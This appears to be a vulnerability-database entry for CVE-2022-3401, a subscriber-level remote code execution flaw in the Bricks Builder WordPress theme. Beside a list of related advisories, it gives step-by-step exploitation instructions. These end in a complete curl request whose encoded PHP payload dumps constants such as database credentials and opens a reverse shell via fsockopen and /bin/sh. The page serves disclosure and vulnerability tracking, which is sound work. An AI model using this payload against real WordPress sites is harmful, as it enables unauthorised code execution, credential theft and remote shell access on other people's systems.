Lucene search
+L

Bricks Builder < 1.5.4 - Subscriber+ Remote Code Execution

🗓️ 03 Oct 2022 00:00:00Reported by RGType 
wpexploit
 wpexploit
👁 115 Views

Bricks Builder < 1.5.4 - Subscriber+ Remote Code Execution. Theme allows executable code blocks, lacks authorization & input validation, leading to remote code execution

Related
Code
ReporterTitlePublishedViews
Family
attackerkb
ATTACKERKB
CVE-2022-3401
28 Oct 202219:15
attackerkb
circl
Circl
CVE-2022-3401
28 Oct 202222:29
circl
cnnvd
CNNVD
WordPress theme Bricks 代码注入漏洞
28 Oct 202200:00
cnnvd
cnvd
CNVD
WordPress theme Bricks Remote Code Execution Vulnerability
31 Oct 202200:00
cnvd
cve
CVE
CVE-2022-3401
28 Oct 202218:12
cve
cvelist
Cvelist
CVE-2022-3401
28 Oct 202218:12
cvelist
euvd
EUVD
EUVD-2022-42778
3 Oct 202520:07
euvd
nvd
NVD
CVE-2022-3401
28 Oct 202219:15
nvd
osv
OSV
CVE-2022-3401
28 Oct 202219:15
osv
patchstack
Patchstack
WordPress Bricks Builder premium theme <= 1.5.3 - Auth. Remote Code Execution vulnerability
27 Oct 202200:00
patchstack
Rows per page
1. Start with a clean Wordpress install
2. Install Bricks builder v1.5.3
3. Enable registrations on the website
4. Register as a new user, log in, and copy the cookies
5. Find a valid postId (e.g. 2 - the ID of Sample Page created by default in new Wordpress installations)
6. Send the following request to the server

curl 'http://example.com/wp-admin/admin-ajax.php' -X POST \
-H 'Content-Type: application/x-www-form-urlencoded; charset=UTF-8' \
-H 'Cookie: INSERT_COOKIES_HERE' \
--data-raw 'action=bricks_save_post&postId=INSERT_POST_ID_HERE&area=content&nonce=0&content=%5B%7B%22id%22%3A%22aaaaaa%22%2C%22name%22%3A%22code%22%2C%22parent%22%3A0%2C%22children%22%3A%5B%5D%2C%22settings%22%3A%7B%22code%22%3A%22%3C%3Fphp%20echo%20%27Pwned%21%20%3Cpre%3E%27%3B%20var%5Fdump%28get%5Fdefined%5Fconstants%28true%29%5B%27user%27%5D%29%3B%20echo%20%27%3C%2Fpre%3E%27%3B%20%24sock%3Dfsockopen%28%27127%2E0%2E0%2E1%27%2C11111%29%3B%20proc%5Fopen%28%27%2Fbin%2Fsh%20%2Di%27%2C%20array%280%3D%3E%24sock%2C%201%3D%3E%24sock%2C%202%3D%3E%24sock%29%2C%20%24pipes%29%3B%20%3F%3E%22%2C%22executeCode%22%3Atrue%7D%2C%22themeStyles%22%3A%5B%5D%7D%5D'

7. Open the page, the contents should be replaced with a message reading "Pwned", a dump of all PHP constants (e.g. database credentials) and a remote shell is opened to 127.0.0.1:11111

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

27 Oct 2022 07:38Current
0.5Low risk
Vulners AI Score0.5
CVSS 3.18.8
EPSS0.0167
SSVC
115